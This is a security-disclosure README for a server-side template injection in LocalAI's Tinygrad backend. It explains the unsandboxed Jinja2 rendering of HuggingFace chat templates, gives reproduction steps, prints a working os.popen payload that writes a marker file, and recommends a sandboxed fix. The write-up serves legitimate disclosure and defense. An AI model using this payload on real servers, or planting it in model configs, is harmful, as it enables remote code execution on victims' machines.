LocalAI Tinygrad Backend Jinja2 SSTI PoC -- Security Research
WARNING: This repository contains a security research artifact demonstrating a Server-Side Template Injection (SSTI) vulnerability in LocalAI's Tinygrad backend. The included tokenizer_config.json contains a Jinja2 SSTI payload that achieves Remote Code Execution (RCE) when processed by LocalAI. DO NOT use this artifact in any production or sensitive environment. This exists solely for responsible disclosure and reproducibility purposes.
Vulnerability Summary
Affected Software: LocalAI (all versions with Tinygrad backend)
Severity: Critical -- Remote Code Execution (RCE)
Attack Vector: Malicious HuggingFace model with crafted chat_template
CVE: Pending assignment
Reported via: huntr.com
Root Cause
LocalAI's Tinygrad backend renders chat_template strings from HuggingFace
tokenizer_config.json files using jinja2.Environment() -- an unsandboxed
Jinja2 environment. This allows Server-Side Template Injection (SSTI) via
specially crafted template expressions that access Python internals through
Jinja2's introspection capabilities.
The SSTI payload leverages lipsum.__globals__['os'].popen() to escape the
template context and execute arbitrary operating system commands on the server.
# VULNERABLE (LocalAI Tinygrad backend):
from jinja2 import Environment
env = Environment() # No sandbox!
template = env.from_string(chat_template) # Attacker-controlled template
result = template.render(messages=messages) # RCE triggered here
# SECURE (correct approach):
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment() # Blocks dangerous attribute access
template = env.from_string(chat_template)
result = template.render(messages=messages) # SSTI payload blocked
Attack Scenario
- Attacker publishes a HuggingFace model repository containing a malicious
tokenizer_config.jsonwith an SSTI payload in thechat_templatefield - Victim configures LocalAI to use this model (via the model gallery, manual download, or any integration that pulls from HuggingFace)
- When a chat completion request is sent to
/v1/chat/completions, LocalAI's Tinygrad backend renders thechat_templatewith unsandboxed Jinja2 - The SSTI payload executes, achieving arbitrary command execution on the server
Files in This Repository
| File | Description |
|---|---|
tokenizer_config.json |
Malicious tokenizer config with Jinja2 SSTI payload in chat_template |
tokenizer_config_clean.json |
Clean version of the same config (no payload) for comparison |
localai-ssti-poc.py |
PoC demonstration script -- simulates the vulnerable rendering path |
README.md |
This file |
How to Reproduce
Prerequisites
pip install jinja2
Option 1: Run the PoC script
python3 localai-ssti-poc.py
This script simulates what LocalAI's Tinygrad backend does internally: it loads
the malicious tokenizer_config.json and renders the chat_template with
jinja2.Environment() (unsandboxed). The SSTI payload executes and writes a
file to /tmp/localai-ssti-poc.txt to confirm RCE.
Option 2: Against a running LocalAI instance
- Place
tokenizer_config.jsonin the model directory used by LocalAI - Configure LocalAI to use the Tinygrad backend for this model
- Send a chat completion request:
curl -X POST http://localhost:8080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "your-model-name",
"messages": [{"role": "user", "content": "Hello"}]
}'
- Check for the PoC artifact:
cat /tmp/localai-ssti-poc.txt
# Output: [POC] LOCALAI_SSTI_RCE_ACHIEVED
Option 3: Minimal reproduction
from jinja2 import Environment
import json
with open("tokenizer_config.json") as f:
config = json.load(f)
env = Environment() # Same as LocalAI -- no sandbox
template = env.from_string(config["chat_template"])
result = template.render(
messages=[{"role": "user", "content": "Hello"}],
add_generation_prompt=True,
)
# Check: /tmp/localai-ssti-poc.txt now exists (RCE confirmed)
Expected vs. Actual Behavior
- Expected: Chat template rendering should be sandboxed, preventing access
to Python internals (
__globals__,os.popen, etc.) - Actual:
jinja2.Environment()allows full introspection. The SSTI payload accesseslipsum.__globals__['os'].popen()and executes arbitrary commands.
The Payload
The SSTI payload appended to the otherwise-normal chat template:
{{ lipsum.__globals__['os'].popen('echo "[POC] LOCALAI_SSTI_RCE_ACHIEVED" > /tmp/localai-ssti-poc.txt').read() }}
This uses Jinja2's built-in lipsum function to traverse Python's object
hierarchy and reach the os module, then calls os.popen() to execute a
shell command. In a real attack, this could be reverse shell, data exfiltration,
or any arbitrary command.
Recommended Fix
Replace jinja2.Environment() with jinja2.sandbox.SandboxedEnvironment() in
LocalAI's Tinygrad backend template rendering code. The sandboxed environment
blocks access to dangerous attributes like __globals__, __class__, and
__subclasses__, preventing SSTI exploitation.
Responsible Disclosure
This vulnerability was reported through huntr.com. This repository is gated to authorized security researchers and the vendor security team. Please do not redistribute the artifact outside of the responsible disclosure process.
License
This security research artifact is provided under the MIT License for responsible disclosure and reproducibility purposes only.